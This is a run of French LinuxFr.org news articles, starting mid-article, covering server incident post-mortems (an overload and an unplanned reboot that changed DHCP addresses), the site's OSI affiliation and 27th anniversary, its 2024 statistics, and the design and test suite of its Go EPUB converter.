On ne peut mettre à jour le composant pygments dans l’immédiat, mais on peut limiter les dégâts en abaissant la limite du nombre de descripteurs de fichiers à quelque chose de raisonnable (i.e. on va gaspiller raisonnablement des cycles CPU dans une boucle un peu inutile mais brève…). Une édition de /etc/security/limits.conf, un redémarrage du conteneur de production et on peut vérifier que cela va nettement mieux avec cette réparation de fortune.

Une dernière page d’epub ?

Le conteneur LXC portant le service epub de production a assez mal pris la surcharge du serveur, et vers 20h08, systemd-networkd sifflera la fin de la récré avec un eth0: The interface entered the failed state frequently, refusing to reconfigure it automatically (quelque chose comme « ça n’arrête pas d’échouer, débrouillez-vous sans moi »). Le service epub est resté en carafe jusqu’au 27 août vers 13h31 (merci pour l’entrée de suivi).

Voir ce commentaire sur la dépêche de l’incident précédent expliquant la séparation du service epub et du conteneur principal de production (en bref : dette technique et migration en cours).

Retour en graphiques sur la journée

Le serveur était très occupé. Au point de n’avoir pas le temps de mettre à jour les graphiques de temps en temps.

Rétrospectivement les processeurs du serveur ont travaillé dur : 140 de charge sur le graphique (mais avec des pics jusque 260 d’après la commande uptime), contre moins de 5 en temps normal (un petit facteur de 28 à 52   ô_Ô)

Et l’utilisation de la mémoire montre aussi de brutaux changements de comportement : libération intempestive de mémoire (Free, en vert), utilisation mémoire plus importante que d’habitude (Used, en jaune), là où le comportement normal est d’avoir le maximum en cache (Cached, en orange) et des processus tellement peu consommateurs en RAM que cela n’apparaît normalement pas.

Mesures préventives et correctives

Dans les actions en cours ou à prévoir :

• mettre à jour la documentation pour disposer facilement et rapidement des informations pour les connexions aux cartes d’administration ou les procédures de blocages d’IP
• procéder à la montée de version des composants (yapuka, épineux sujet de la dette technique à éponger)
• vérifier l’efficacité des limitations CPU/mémoire mises sur certains conteneurs LXC et les étendre aux autres
• mettre des limites sur des processus particuliers (comme ceux de pygments)
• ajouter le déploiement des limites par utilisateur dans le code Ansible
• corriger la collecte rrd des métriques concernant les interfaces réseau
• remonter les alertes OOM qui ne sont pas normales
• comprendre la surconsommation mémoire ? (les boucles actives expliquent la consommation processeur, mais pour la mémoire ?)

Bonus inattendu pour l’incident précédent du 26 juin 2025

De façon cocasse, ce nouvel incident et le temps passé à parcourir les différents logs ont permis de retrouver les infos de la carte d’administration distante et d’expliciter l’origine du redémarrage serveur intempestif. À quelque chose malheur est bon, si on peut dire. Ceci n’est pas une invitation pour un prochain incident.

L'Open Source Initiative (OSI), fondation qui a défini et maintient la définition officielle de l'Open Source, et LinuxFr.org ont le même âge, à cinq mois près. Toutes deux sont nées en 1998, LinuxFr.org le 28 juin et l'OSI en février 1998. Nous avons fêté nos 20 ans ensemble à Paris Open Source Summit et depuis, nous nous retrouvons régulièrement autour de cupcakes, de bières ou toute autre occasion festive.

Mais il était temps d'aller un cran plus loin. LinuxFr.org (via l'association LinuxFr) devient membre de l'Open Source Initiative (OSI), comme organisation affiliée. Cela vient renforcer le lien avec les communautés du logiciel libre et de l'Open Source francophones et mettre en valeur les initiatives locales soutenant une collaboration ouverte dans le monde.

« Après d'innombrables célébrations d'anniversaire aux côtés de l'Open Source Initiative, LinuxFr.org est fier d'unir ses forces en tant qu'organisation affiliée. À une époque où l'Open Source est confrontée à des défis quotidiens, ce partenariat est essentiel pour mettre en avant des valeurs communes. Ce n'est qu'en rapprochant nos communautés que nous pourrons préserver et promouvoir les libertés que nous défendons tous deux. » – Florent Zara, membre du conseil d'administration de LinuxFr

L'OSI se réjouit « de collaborer avec [LinuxFr.org] pour soutenir notre engagement commun en faveur de l'Open Source. Leur participation renforce notre réseau international et souligne l’importance de nourrir les cultures Open Source dans toutes les langues et toutes les régions. »

Les cupcakes et la cuvée spéciale des 25 ans !

En ce 28 juin 2025, le site LinuxFr.org fête ses vingt‑sept bougies. Depuis 1998, une équipe de bénévoles code et gère ce site, permettant à son lectorat de publier contenus et commentaires sur le logiciel libre, sur les nombreux autres domaines du Libre comme la culture, la cartographie, le matériel ou les manuels scolaires ; mais aussi bien d’autres thématiques comme la robotique, la cuisine, la typographie, TapTempo, la vie et la mort, ou la sérendipité, l’intelligence artificielle et la fIAtigue, la législation.

En vrac, LinuxFr.org c’est aussi :

• un site sans publicité, sans NFT, absent des metaverses et sans pisteur (et léger par rapport au Web obèse moderne) ;
• une association LinuxFr comme représentant légal ;
• des prix attribués chaque mois ou presque ;
• l’histoire du site racontée dans un entretien de LinuxFr.org avec OpenSource.com (version anglaise) ou dans un podcast Projets Libres ! ;
• des liens, des étiquettes, des statistiques et des pages presque valides ;
• de nouvelles règles de pérennité des données à caractère personnel depuis deux ans (voir la dépêche un an) ;
• de la modération avec modération ;
• des conférences données à feu les Rencontres Mondiales du Logiciel (RMLL), aux ancêtres de l’Open Source Expérience (OSXP) comme Paris Open Source Summit (POSS) ou Solutions GNU/Linux (SGL), au Capitole du Libre (CDL) ou à Pas Sage En Seine (PSES) ;
• 27 ans de souvenirs, de rencontres, d’échanges, d’assemblées générales, de stands, de code, de commentaires et de contenus ;
• et plein d’autres choses encore.

Ayant simultanément ressenti un trouble dans la force, vos administrateurs des serveurs LinuxFr.org ont noté un souci sur le site hier matin. Et d'autres personnes de l'équipe ont aussi signalé le problème (supervision efficace et réactive par le lectorat).

Le serveur hébergeant les conteneurs de production et de développement a redémarré (hors de toute opération planifiée) à 06h15 Paris le 26 juin 2025, et contrairement aux redémarrages habituels pour les mises à jour, cela a entraîné un changement des adresses IP internes des conteneurs de production et de développement, après redémarrage (06h18). Tous les services avaient bien redémarré, mais les accès aux sites web n'étaient plus possibles : le serveur web frontal ne pouvait plus joindre les adresses prévues, aboutissant à des réponses techniques 502 Bad Gateway.

La correction sur les adresses IP a été faite à 08h08 pour la production et 08h16 pour le développement.

Les deux autres serveurs hébergés au même endroit n'ont pas été affectés.

Changement d'adresses IP

Les conteneurs de production et de développement sont configurés en DHCP et gardent normalement les mêmes adresses sur les redémarrages.

Exemple de redémarrage propre pour des mises à jours de sécurité :

mai 24 10:06:08 oups dnsmasq-dhcp[1256]: DHCPREQUEST(lxc0) 192.168.0.2 aa:aa:aa:aa:aa:aa
mai 24 10:06:08 oups dnsmasq-dhcp[1256]: DHCPACK(lxc0) 192.168.0.2 aa:aa:aa:aa:aa:aa prod
mai 24 10:06:22 oups dnsmasq-dhcp[1256]: DHCPRELEASE(lxc0) 192.168.0.2 aa:aa:aa:aa:aa:aa
---redémarrage---
mai 24 10:08:57 oups dnsmasq-dhcp[1228]: DHCPDISCOVER(lxc0) 192.168.0.2 bb:bb:bb:bb:bb:bb
mai 24 10:08:57 oups dnsmasq-dhcp[1228]: DHCPOFFER(lxc0) 192.168.0.2 bb:bb:bb:bb:bb:bb
mai 24 10:08:57 oups dnsmasq-dhcp[1228]: DHCPREQUEST(lxc0) 192.168.0.2 bb:bb:bb:bb:bb:bb
mai 24 10:08:57 oups dnsmasq-dhcp[1228]: DHCPACK(lxc0) 192.168.0.2 bb:bb:bb:bb:bb:bb prod

(les IP, MAC et interfaces ont été changées)
On a demande et attribution de l'IP pour une adresse MAC donnée, puis elle est relâchée à l'arrêt de la machine, puis réattribuée au démarrage.

Incident :

juin 26 03:57:46 oups dnsmasq-dhcp[951195]: DHCPREQUEST(lxc0) 192.168.0.2 cc:cc:cc:cc:cc:cc
juin 26 03:57:46 oups dnsmasq-dhcp[951195]: DHCPACK(lxc0) 192.168.0.2 cc:cc:cc:cc:cc:cc prod
---redémarrage---
juin 26 04:18:42 oups dnsmasq-dhcp[1222]: DHCPREQUEST(lxc0) 192.168.0.2 dd:dd:dd:dd:dd:dd
juin 26 04:18:42 oups dnsmasq-dhcp[1222]: DHCPNAK(lxc0) 192.168.0.2 dd:dd:dd:dd:dd:dd address in use
juin 26 04:18:46 oups dnsmasq-dhcp[1222]: DHCPDISCOVER(lxc0) dd:dd:dd:dd:dd:dd
juin 26 04:18:46 oups dnsmasq-dhcp[1222]: DHCPOFFER(lxc0) 192.168.0.100 dd:dd:dd:dd:dd:dd
juin 26 04:18:46 oups dnsmasq-dhcp[1222]: DHCPREQUEST(lxc0) 192.168.0.100 dd:dd:dd:dd:dd:dd
juin 26 04:18:46 oups dnsmasq-dhcp[1222]: DHCPACK(lxc0) 192.168.0.100 dd:dd:dd:dd:dd:dd prod

On a demande et attribution de l'IP pour une adresse MAC donnée. Elle n'est pas relâchée à l'arrêt de la machine, n'est pas disponible au redémarrage, et une autre est alors attribuée.

Nature du redémarrage

Le redémarrage a été brutal, sans arrêt propre des services. Il ne s'agit donc pas d'un arrêt logiciel propre depuis le serveur.

La cause possible peut donc être un souci d'instabilité électrique, l'arrêt/extinction physique sur le serveur, un bug ou une faille logicielle, ou encore le redémarrage électrique via la carte d'administration. Cette cause n'est actuellement pas connue.

Mesures préventives et correctives

Il pourrait être utile de figer les IP internes et/ou d'assurer la synchronisation/reconfiguration du frontal web.

Il n'est pas prévu d'avoir de la redondance sur la production à court/moyen terme, donc un souci sur le conteneur de production continuera à avoir un effet visible.

La supervision peut certainement être améliorée (et l'état des services rendu visible depuis un simple navigateur web).

2024 était une année particulièrement longue. Cela n’a évidemment pas grande pertinence, mais bon il faut bien une introduction à cette dépêche. Quid de l’activité du site LinuxFr.org en 2024 ? Quels changements en termes de trafic Web, de contenus créés, de commentaires déposés, de navigateurs utilisés, d’utilisation des fonctionnalités du site, de contribution au code, etc. Bref, qu’est‐ce qui a changé et de quelle manière durant 2024 ?

Le site rend accessible un grand nombre de statistiques (faites‑vous plaisir si vous souhaitez vous plonger dedans, c’est fait pour) ; cette dépêche résume les variations constatées en 2024.

Sommaire

• Statistiques Web
• Contenus
• Modération
• Commentaires
• Notes
• Étiquettes (tags)
• Équipe de bénévoles
• Code et développement
• Comptes utilisateur
• Soucis divers

Statistiques Web

La comparaison des statistiques annuelles (voir 2023 et 2024) montre une hausse des visites, des consultations (pages, fichiers) et des hits (notamment l’effet des bots pour l’intelligence artificielle), avec un passage à ~927 000 hits par jour et ~76 170 visites par jour, le tout pour ~1,42 Tio par mois.

Le nombre de contenus publiés en un an diminue de 11 %. Le nombre de commentaires publiés en un an diminue cette année de 10%.

Contenus

Au 31 décembre 2024, le site comportait environ 120 480 contenus publiés répartis ainsi :

• 27 799 dépêches :
  • 383 dépêches publiées en 2024 (364 en 2023),
  • la taille moyenne (en code Markdown, hors images donc) des dépêches se remet à augmenter, tout en restant inférieure à la valeur de 2019 ;
• 40 242 journaux (409 en 2024 en baisse par rapport aux 458 en 2023),
• 40 642 entrées de forums (458 en baisse par rapport aux 574 en 2023),
• 9 087 liens (1711 en baisse par rapport aux 1970 en 2023),
• 467 sondages (9 en 2023 et 2024),
• 162 pages de wiki (3 en 2023 et 5 en 2024).

Pour la première année, le pic de publication des contenus se confirme le mercredi. Ce qui diffère désormais du pic de modération, voir la partie Modération plus bas).

Un jour de semaine compte 64 % de publications en plus qu’un jour de week-end.

La publication sous licence Creative Commons By-SA se fait par défaut depuis les dix ans de CC, fin 2012 pour les dépêches (permet explicitement une rédaction collaborative ou un renvoi en re‐rédaction) et les journaux (qui peuvent être convertis en dépêches) : tout naturellement, on retrouve 97 % de dépêches et 99 % des journaux sous cette licence au final (les autres étant notamment sous licence Art Libre ou autre, au choix de l’auteur).

Les dépêches collaboratives (et pas uniquement celles réattribuées à l’utilisateur Collectif) sur de multiples sujets sont toujours à compter parmi les vraies réussites du site ; nous sommes cependant toujours à la recherche de volontaires pour couvrir les nombreux sujets qui n’ont pu être abordés. Une liste des thèmes récurrents sur LinuxFr.org peut donner des idées de participation : si une dépêche n’a pas été créée dans les temps, tout inscrit peut la démarrer dans l’espace de rédaction.

Concernant la visibilité par contenu (analyse sur décembre 2023) : les journaux ont jusqu’à deux fois moins de visibilité que les dépêches (faites des dépêches…) et les liens ont beaucoup moins de visibilité que les journaux et les dépêches (préférez donc faire des dépêches ou des journaux, pour la visibilité).

Modération

Le temps moyen passé entre la création d’une dépêche (en rédaction ou directement envoyée en modération) et sa modération et publication est de 337 heures (contre 309 h en 2023 et 359 h en 2022) ; la mesure du temps passé uniquement en modération n’est pas actuellement disponible (et la modération retient volontairement des dépêches non urgentes pour réguler la publication) ; le temps médian est descendu à 19 heures. Il y a des demandes de statistiques dans le suivi, envoyez les demandes d’intégration Git (pull‐requests). ;-)

Le jour préféré de modération a priori des contenus est toujours le mardi pour les dépêches et le lundi pour les sondages.

Commentaires

Au 31 décembre 2024, le site comporte 1,94 million de commentaires. Le nombre de commentaires publiés en un an baisse cette année de 10 % pour arriver à 32 046.

Il y a désormais, en moyenne, 29 commentaires par journal (29 en 2023 et 33 en 2022), 9 par dépêches (9 en 2023 et 10 en 2022), 54 par sondage (36 précédemment, mais très dépendant des sondages considérés), 8 par entrée de forum (7 en 2023 et 7 en 2022), 3 par entrée de suivi, 7 par lien (contre 7 en 2023 et 7 en 2022) et une poignée par page wiki.

Le jour préféré pour commenter reste le mercredi, et un jour de semaine compte deux fois plus de commentaires qu’un jour de week-end.

Notes

Il n’y a (toujours) pas de statistiques disponibles concernant les notes. Les entrées de suivi sur les statistiques n’ont pas avancé.

Néanmoins diverses statistiques concernant la notation sur les contenus et les commentaires ont été données en juin 2021, avec des graphes.

Étiquettes (tags)

Au 31 décembre 2024, le site comporte :

• 15 659 étiquettes, dont 12 867 étiquettes publiques (contre 12 294 fin 2023) ;
• 180 064 saisies d’étiquettes (étiquetées en moyenne douze fois pour les étiquettes publiques et cinq fois pour les étiquettes privées) ;
• les étiquettes sont réparties ainsi par contenu :
  • 65 96à pour les dépêches,
  • 51 763 pour les journaux,
  • 30 432 pour les forums,
  • 30 182 pour les liens,
  • 829 pour les pages wiki,
  • 380 pour les sondages,
  • 518 pour le système de suivi des défauts et évolutions.

Plus de détails dans la dépêche de février 2022 À propos des étiquettes sur le site LinuxFr.org.

Depuis le début du site, on constate en moyenne 5 étiquettes par page wiki, 3,3 par lien, 2,4 par dépêche, 1,3 par journal, 0,8 par sondage, 0,8 par entrée de forum et 0,3 par entrée du suivi.

Le jour préféré pour apposer des étiquettes est le lundi (biais de la création initiale des étiquettes), suivi du samedi.

Il y a plusieurs biais concernant les étiquettes :

• beaucoup ont été et sont ajoutées automatiquement ;
• le thème mobile par défaut ne montre pas les étiquettes (sauf à basculer son Firefox en « Version ordinateur » ou équivalent sur un autre navigateur).

Équipe de bénévoles

Il y a actuellement 4 personnes pour l’administration du site, 12 pour la modération, 6 pour l’animation de l’espace de rédaction et 2 pour la maintenance qui font tourner ce site. Pour mémoire, il s’agit de bénévoles plus ou moins disponibles et donc absolument pas de 24 équivalents temps plein pour jargonner comme une entreprise. Merci pour le travail accompli.

Code et développement

Au 31 décembre 2024, le système de suivi de défauts et de demandes d’évolutions contient 269 entrées ouvertes (contre 243 en 2023). On voit assez rapidement un manque de développeurs apparaître. En 2024, il y a eu 54 entrées ouvertes (contre 46 en 2023) : 36 entrées encore ouvertes venant s’ajouter à celles datant d’avant, 11 corrigées et 7 déclarées invalides. On peut noter que ceux qui ouvrent le plus d’entrées sont des membres actuels ou anciens de l’équipe du site.

C’est Bruno qui garde le record de correction d’entrées. Merci aussi à Adrien Dorsaz. Le temps moyen de résolution est de 166 jours (contre 132 précédemment). La moitié des entrées fermées ont été traitées en moins de huit jours. On ressent donc toujours un besoin de nouveaux contributeurs côté code.

La charge moyenne sur le serveur est de 1,2 sur la machine actuelle (baptisée gruik). La charge minimale a été de 0,7 et la maximale de 2,5.

La consommation mémoire est restée stable. Le trafic réseau sur la partie Web uniquement est en moyenne de 5,1 Mbit/s sortants.

Comptes utilisateur

Au 31 décembre 2024, sur les 52 332 comptes utilisateur valides existants, 2 117 ont été utilisés au cours des trois derniers mois, dont 33 % (+1) ont déjà rédigé des dépêches, 45 % (+2) des journaux, 42 % (+1) des entrées de forums, 11 % (=) des entrées dans le système de suivi, 17 % des liens (+2) et 2 % une page de wiki ; 87 % (=) ont écrit des commentaires et 52 % (+2) étiqueté des contenus ; 33 % (-1) ont contribué sur au moins une dépêche ; 27 % (+1) des comptes actifs ont indiqué un site personnel, 8 % (=) un identifiant XMPP, 5 % (+1) une adresse Mastodon, 29 % (-1) un avatar et 6 % (=) une signature.

Côté utilisation des fonctionnalités, 14 % (+1) ont demandé à ne pas afficher les contenus avec une note négative, 9 % (+1) ont demandé le tri chronologique en page d’accueil, 6 % (+1) à ne pas voir les avatars, 5 % (+1) à afficher la tribune dans une boîte latérale et 3 % (=) à ne pas voir les signatures, et à peine quelques pourcents ont changé les contenus par défaut en page d’accueil (souvent pour retirer les sondages et ajouter les journaux). Peu de feuilles de style CSS du site sont utilisées : quatre visiteurs sur cinq utilisent celle par défaut ; il est facile d’en changer avec le lien Changer de style. En janvier 2024, il n’y avait pas de rupture générationnelle marquée entre les comptes 1999 et 2024 en termes d’utilisations des fonctionnalités.

Seuls dix comptes ont un karma négatif et un a un karma nul, soit 0 % des visiteurs actifs ; 10 % des comptes actifs durant les trois derniers mois ont été créés en 2024.

30 % (-1) des visiteurs actifs ont une adresse de courriel GMail, 12 % (-1) chez Free, 4 % (=) chez LaPoste, 3 % (-1) chez Yahoo, 3 % (=) chez Hotmail ou Outlook et 2 % (=) chez Orange ou Wanadoo.

2024 correspond aussi au premier anniversaire de la mise à place des nouvelles règles de pérennité des comptes LinuxFr.org et données à caractère personnel.

Soucis divers

Le compteur d’années sans mises en demeure reçues passe à trois (après deux mises en demeure en 2019 et une en 2020, voir la dépêche sur la n^o 3 en attendant la publication d’informations sur les n^o 4 et 5).

/ Only five formal notices in the default \
\   install, in a heck of a long time!    /
 -----------------------------------------
   \
    \
        .--.            / Ouep...  \
       |o_o |           \ Euh coin /
       |:_/ |            ----------
      //   \ \              \ 
     (|     | )               \
    /'\_   _/`\                \ >()_
    \___)=(___/                   (__)__ _

Depuis la création du site, statistiques liées au légal (dans les sens liés à la force publique ou à du juridique) :

• cinq mises en demeure reçues (pour zéro assignation) ;
• une réquisition judiciaire reçue (qui au final ne nous concernait pas, mais a donné l’occasion de discuter avec la police nationale) ;
• un cas d’usurpation d’identité et de harcèlement type « revenge porn » (discussion avec la gendarmerie nationale).

Le site LinuxFr.org utilise divers logiciels libres pour son fonctionnement et ses services : une large majorité provient de projets tiers (Debian, MariaDB, Redis - version d’avant le changement de licence, nginx, Postfix, conteneurs LXC et Docker, Ruby On Rails, Sympa, etc.) et d’autres composants sont développés pour nos propres besoins. Cette dernière catégorie comprend le code principal du site web en Ruby On Rails, et principalement 5 services autour : le cache d’images img, la tribune board, le convertisseur EPUB 3 epub, le partageur sur les réseaux sociaux share et le convertisseur LaTeX vers SVG svg. Cette dépêche va s’intéresser à epub, un code sous AGPLv3.

Elle est née d’une envie personnelle d’expliquer, documenter et montrer ce qui a été fait sur le convertisseur EPUB3 à la volée de LinuxFr.org, et elle vient accompagner la précédente sur img, le cache d’images sur LinuxFr.org.

Sommaire

• Des EPUB de vos contenus et commentaires
• Côté code Ruby on Rails
• Côté epub
• Historique
• Évolutions récentes
  • Dockerfile
  • La suite de tests
• Les problématiques restantes
• Conclusion ?

Des EPUB de vos contenus et commentaires

LinuxFr.org vous permet de lire les contenus et commentaires du site, au format EPUB3, par exemple dans votre liseuse préférée. Il y a une exception à cela, les liens, parce que certes ça ferait des EPUB tout mignons, mais surtout petits voire un poil inutiles. Le lien EPUB est présent automatiquement sur chaque contenu (hormis les liens donc).

Le principe est simple : on donne un lien vers un contenu HTML à epub, il le demande à la partie Ruby on Rails du site, ainsi que les images associées, convertit le tout au format EPUB3 et le renvoie à la personne qui l’a demandé. Techniquement epub n'est pas exposé frontalement mais se trouve derrière un nginx.

Côté code Ruby on Rails

C’est assez basique : on ajoute juste sur chaque contenu un lien pour télécharger au format EPUB. Ainsi, y compris sur cette dépêche, vous allez trouver un lien à la fin pour récupérer le tout au format EPUB (et un autre pour récupérer le source en Markdown mais c’est un autre sujet).

app/views/news/_news.atom.builder:    epub = content_tag(:div, link_to("Télécharger ce contenu au format EPUB", "#{url}.epub"))
app/views/polls/_poll.atom.builder:  epub = content_tag(:div, link_to("Télécharger ce contenu au format EPUB", "#{url}.epub"))
app/views/posts/_post.atom.builder:  epub = content_tag(:div, link_to("Télécharger ce contenu au format EPUB", "#{url}.epub"))
app/views/nodes/_actions.html.haml:    = link_to "EPUB", "#{path_for_content node.content}.epub", title: "Télécharger ce contenu au format EPUB", class: "action download"
app/views/diaries/_diary.atom.builder:  epub = content_tag(:div, link_to("Télécharger ce contenu au format EPUB", "#{url}.epub"))
app/views/wiki_pages/_wiki_page.atom.builder:  epub = content_tag(:div, link_to("Télécharger ce contenu au format EPUB", "#{url}.epub"))

Côté epub

Le service est plutôt simple, par rapport à img, car il n’a pas de dépendance sur redis par exemple, et qu’il a, au final, peu de paramétrage (un couple adresse+port d’écoute, un fichier de trace et un hôte pour aller chercher les contenus).

Il est possible de faire un GET /status et on obtient une réponse HTTP 200 avec un contenu OK. C’est utile pour tester que le service est lancé (depuis l’intérieur de la plateforme).

Sinon on lui demande une dépêche, un journal, une entrée de forum, un sondage, une entrée de suivi ou une page wiki en prenant le chemin sur LinuxFr.org et ajoutant un petit .epub à la fin, et il va renvoyer un fichier EPUB. Ou bien il va répondre un contenu non trouvé HTTP 404 s’il y a un souci. Et vu son fonctionnement, si on a un souci de HTML non valide ou si img a un problème avec une image, alors derrière epub pourrait avoir le même souci.

epub est un binaire dynamique en Go. Il impose le https pour l’hôte (du coup on aura tous les liens en HTTPS en interne normalement). Il ne peut pas vraiment être compilé statiquement (on a besoin de libxml2, libonig2 et de la même version de la libc au déploiement). Il ne gère pas les images in-line.

Dans les logs on va trouver des infos comme :

2024/11/03 16:34:02 Status code of http:/example.invalid/exemple.png is: 404
(…)
2024/11/03 16:38:23 Fetch https://linuxfr.org/news/capitole-du-libre-2024-au-programme-du-16-et-17-novembre
2024/11/03 16:38:24 Fetch https://linuxfr.org/users/liberf0rce/journaux/libreast-2006-is-out-of-order

Historique

epub a été créé par Bruno Michel en 2013 et Bruno est le seul à travailler dessus (48 commits) jusqu’en 2018. Comme img, on peut considérer que epub a fait le job pendant ce temps-là, sans besoin de retouche.

Mon premier commit de 2021 concerne la gestion d’un cas de collision de nommages des images.

En 2022, Bruno quitte l’équipe du site, et par ailleurs il y a des montées de versions et des migrations à faire sur les serveurs de LinuxFr.org, et epub fait partie des services à reprendre en main. Ce qui veut dire le comprendre, le documenter et au besoin l’améliorer.

Bref je décide de me plonger dans epub (2022-2024), dans la foulée de img, car a priori ce n’est pas un composant compliqué du site (il vit dans son coin, il offre une interface, c’est du Go, donc on a un binaire seulement à gérer - divulgâchage en fait non pas seulement).

Le choix est le même que pour img (cf la dépêche précédente) : ajouter un Dockerfile permettant de recompiler epub dans un conteneur, en contrôlant la version de Go utilisée, en effectuant une détection d’éventuelles vulnérabilités au passage avec govulncheck. Cela me permet de valider que l’on sait produire le binaire d’une part, et que l’on offre à tout le monde la possibilité de contribuer facilement sur ce composant. Et de découvrir qu’une version statique n’est pas facilement envisageable.

Puis je vais tester le composant pour vérifier qu’il fonctionne comme je le pense et qu’il fait ce qu’on attend de lui. Je vais ajouter une suite des tests qui couvrent les différentes fonctionnalités et les vérifient en IPv4 et en IPv6, en HTTP 1.1 et en HTTP 2.0. Les tests utilisent Hurl et docker-compose, et encore une fois l’idée de donner la possibilité de contribuer facilement. Ils comprennent des tests de types de contenus non pris en charge, le test de la limite à 5 MiB, différents types de contenus, le test de vie, des appels erronés (mauvais chemin, mauvaise méthode, etc). Et surtout de vérifier avec epubcheck que le fichier epub produit est correct. Le choix des cas de tests est basé sur le trafic réellement constaté sur le serveur de production, sur les différents cas dans le code et un peu sur l’expérience du testeur.

Les différents travaux effectués vont permettre de détecter et corriger quelques soucis :

• le besoin de pouvoir choisir l’hôte (histoire de ne pas toujours tester sur la production)
• mieux gérer certaines erreurs comme les réponses inattendues
• corriger les zip sans extension unix, le logo en couverture
• documenter les cas pouvant être mieux gérer : image trop grande, non récupérable, format inconnu, etc. en fournissant les tests en attendant la correction

Et à la fin, j’écris une dépêche pour parler de tout cela.

Évolutions récentes

Dockerfile

Le fichier Dockerfile du projet permet :

• de partir d’une image officielle Go d’une version donnée, basée sur une distribution Debian (en raison des dépendances)
• de l’utiliser pendant la construction en prenant la liste des dépendances de compilation, en les téléchargeant, en prenant l’unique fichier source epub.go et en le compilant dynamiquement avec l’option pour retirer les chemins de compilation
• de rechercher les éventuelles vulnérabilités avec govulncheck
• de tester avec golangci/golangci-lint le code (fait à la construction de l’image, car on dispose de toutes les dépendances à ce moment-là)
• de repartir d’une base Debian en y mettant les autorités de certification, les dépendances de fonctionnement et le binaire issus de la partie construction, de déclarer le port d’écoute et de lancer le binaire avec des variables disposant de valeurs par défaut.

La suite de tests

Pour l’utiliser, c’est assez simple, il faut aller dans le répertoire tests et lancer un docker-compose up --build, qui va produire le conteneur contenant epub, et démarrer le nginx-cert qui fournit les certificats et le nginx préconfiguré pour les tests. Si tout va bien, on attend, et au bout d’un moment il s’affiche :

linuxfr.org-epub-test_1  | All tests look good!
tests_linuxfr.org-epub-test_1 exited with code 0

Rentrons un peu dans les détails.

D’abord un fichier docker-compose.yaml qui décrit le réseau IPv4/IPv6 utilisé pour les tests, l’image nginx-cert qui sera utilisée pour créer une autorité de certification et un certificat serveur de test, l’image nginx qui sera utilisée avec sa configuration et ses fichiers à servir pour les tests, l’image epub et son paramétrage (dont l’accès au nginx) ainsi que le répertoire de l’autorité de certification de tests et enfin l’image de la suite de tests qui est construit avec son Dockerfile et son répertoire de dépôt des fichiers EPUB.

Le Dockerfile de tests est basé sur une image Hurl (un outil pour faire des tests HTTP). On ajoute les fichiers de tests en .hurl, le script shell qui pilote le tout, on prévoit d’avoir les paquets dont on aura besoin : bash (pas par défaut dans les Alpine), curl, openjdk17 (pour epubcheck), openssl, unzip (transitoirement), bind-tools et shellcheck. On installe epubcheck. Et on lance les tests par défaut.

La configuration nginx de test écoute en HTTP sur le port 80 en IPV4 et IPv6 et permet de définir des chemins avec des réponses en HTTP 301, 302, 308, 400, 401, 403, etc. jusqu’à 530 et même 666 pour les codes invalides, ainsi qu’une redirection infinie.

Dans les données de tests servies par nginx, on trouve des contenus du mauvais type, des contenus dans divers formats, une image très grande et des images qui ne seront pas accessibles.

Sont aussi présents deux fichiers de tests avec une extension en .hurl :

• le test de vie et les chemins hors des contenus autorisés
• les tests sur les contenus

Vient enfin le script shell qui pilote le tout :

• on définit les variables pour les cibles IPv4/IPv6 que l’on veut utiliser dans les autres conteneurs Docker
• on purge le stockage des EPUB sur disque
• on lance les premiers tests (en IPv4 et IPv6, en HTTP 1.1 et en HTTP 2.0)
• sur chaque EPUB produit, on lance epubcheck et on regarde si la validation donne le résultat attendu (succès ou échec)
• si on est arrivé jusque-là on écrit que tout va bien et on déclenche un sourire de satisfaction.

Les problématiques restantes

Il y a quelques entrées encore ouvertes dans le suivi :

• les images trop grandes (en octet), non récupérables, de format inconnu, etc. : la suite de tests actuelle « couvre » le cas des images de plus de 5 MiB ou non récupérables, avec des tests qui échouent, comme prévu, vu que c’est img qui est censé faire le job de les éviter. Cependant il pourrait être sympa de remplacer toute image non disponible/invalide par une image de remplacement « Image indisponible » du bon Content-Type et du bon nom (vu qu’elle est déclarée dans le MANIFEST).
• les images trop grandes (en pixel) : globalement on revient à la question des images que laisse passer img
• les epub non fonctionnels en rédaction et modération : pour des questions de droits, la génération EPUB ne marche pas dans les espaces de rédaction et de modération, à voir si on trouve un contournement ou si on évite de proposer le lien.

Il y a la question habituelle de la montée de versions des dépendances (pour nous actuellement contraintes celles du code Ruby on Rails). Et des questions à se poser sur l’avenir de nginx ?. Les dépendances pendant le fonctionnement amènent aussi leur lot de contraintes.

Conclusion ?

Encore une fois, sans surprise et me répétant, il reste des problématiques et du code à faire pour les gérer (c’est rare un composant sans demandes d’évolution ou de correction). Yapuka (mais probablement plus tard, il faut aussi partager le temps avec les autres composants, ou avoir plus de contributions).

epub rend la fonction que l’on attend de lui, même si on pourrait faire un peu mieux. Plonger dans ce composant s’est avéré assez intéressant et formateur (et nécessaire) : techniquement cela a été l’occasion de faire du Go, du docker et du docker-compose, du nginx, du hurl, de l’HTTP et de gérer des problématiques statique/dynamique et des dépendances. Il s’agissait encore de comprendre ce que faisait un code écrit par une autre personne, de se poser des questions pour choisir les tests et le contenu de la documentation, de se demander pour quelles raisons tel ou tel choix a été fait, de rendre ce composant plus « contribuable », et de compléter le tout de façon détaillée avec une dépêche.

Le site LinuxFr.org utilise divers logiciels libres pour son fonctionnement et ses services : une large majorité provient de projets tiers (Debian, MariaDB, Redis - version d’avant le changement de licence, nginx, Postfix, conteneurs LXC et Docker, Ruby On Rails, Sympa, etc.) et d’autres composants sont développés pour nos propres besoins. Cette dernière catégorie comprend le code principal du site web en Ruby On Rails, et principalement 5 services autour : le cache d’images img, la tribune board, le convertisseur EPUB 3 epub, le partageur sur les réseaux sociaux share et le convertisseur LaTeX vers SVG svg. Cette dépêche va s’intéresser à img, un code sous AGPLv3.

Elle est née d’une envie personnelle d’expliquer, documenter et montrer ce qui a été fait sur le cache d’images de LinuxFr.org, complétée d’une demande d’un « article technique sur le fonctionnement de ce cache, les choix techniques qui ont été faits, les erreurs commises donc à éviter… ».

Sommaire

• Des images sur le site
• Buts du cache d’images
• À l’utilisation
• Côté code Ruby on Rails
• Côté img
• Historique
• Évolutions récentes
  • Dockerfile
  • La suite de tests
  • L’audit interne
• Le grand nettoyage
• Les problématiques restantes
• Conclusion ?

Des images sur le site

